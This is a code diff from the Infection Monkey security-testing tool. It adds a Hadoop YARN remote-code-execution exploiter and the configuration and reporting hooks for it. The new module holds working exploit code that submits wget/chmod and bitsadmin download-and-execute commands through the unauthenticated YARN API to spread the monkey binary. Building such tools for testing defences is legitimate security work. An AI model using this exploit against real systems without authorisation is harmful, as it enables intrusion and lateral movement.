diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f8094817c..95a6e9605 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1d6d4f0e9..e4ed17b8f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -38,7 +38,8 @@ "ElasticGroovyExploiter", "SambaCryExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 346f6276b..d4456d20e 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -43,3 +43,4 @@ from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter from weblogic import WebLogicExploiter +from hadoop import HadoopExploiter diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py new file mode 100644 index 000000000..3490a3129 --- /dev/null +++ b/infection_monkey/exploit/hadoop.py @@ -0,0 +1,95 @@ +""" + Remote code execution on HADOOP server with YARN and default settings + Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn +""" + +import requests +import json +import random +import string +import logging +from exploit.web_rce import WebRCE +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +import posixpath +from threading import Lock +from model import DROPPER_ARG + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + +class HadoopExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + HADOOP_PORTS = ["8088"] + LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \ + "&& chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + + LOCK = Lock() + + def __init__(self, host): + super(HadoopExploiter, self).__init__(host) + + def exploit_host(self): + # Try to get exploitable url + exploitable_url = False + urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) + for url in urls: + if self.try_exploit(url): + exploitable_url = url + break + if not exploitable_url: + LOG.info("No exploitable Hadoop server found") + return False + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = WebRCE.get_monkey_dest_path(self._config, src_path) + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + if 'linux' in self.host.os['type']: + command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + else: + command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + if not path: + return False + # To avoid race conditions we pass a locked lock to http servers thread + self.LOCK.acquire() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) + self.LOCK.acquire() + self.exploit(url, command) + + def exploit(self, url, command): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + resp = json.loads(resp.content) + app_id = resp['application-id'] + # Create a random name for our application in YARN + rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) + payload = { + "application-id": app_id, + "application-name": rand_name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + + def try_exploit(self, url): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + if resp.status_code == 200: + return True + else: + return False \ No newline at end of file diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 16c7502f1..662b58b6d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -93,6 +93,13 @@ SCHEMA = { "WebLogicExploiter" ], "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" } ] }, @@ -634,7 +641,8 @@ SCHEMA = { "SambaCryExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f8647e81e..c3eaf4ed2 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -31,7 +31,8 @@ class ReportService: 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter', - 'WebLogicExploiter': 'Oracle WebLogic exploiter' + 'WebLogicExploiter': 'Oracle WebLogic Exploiter', + 'HadoopExploiter': 'Hadoop/Yarn Exploiter' } class ISSUES_DICT(Enum): @@ -44,7 +45,8 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 - WEBLOGIC = 9 + WEBLOGIC = 9, + HADOOP = 10 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -306,6 +308,12 @@ class ReportService: processed_exploit['type'] = 'weblogic' return processed_exploit + @staticmethod + def process_hadoop_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'hadoop' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -319,7 +327,8 @@ class ReportService: 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit, - 'WebLogicExploiter': ReportService.process_weblogic_exploit + 'WebLogicExploiter': ReportService.process_weblogic_exploit, + 'HadoopExploiter': ReportService.process_hadoop_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -441,6 +450,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'] == 'weblogic': issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True + elif issue['type'] == 'hadoop': + issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index ac796af61..198cf021c 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -25,7 +25,8 @@ class ReportPageComponent extends AuthComponent { AZURE: 6, STOLEN_SSH_KEYS: 7, STRUTS2: 8, - WEBLOGIC: 9 + WEBLOGIC: 9, + HADOOP: 10 }; Warning = @@ -331,6 +332,8 @@ class ReportPageComponent extends AuthComponent {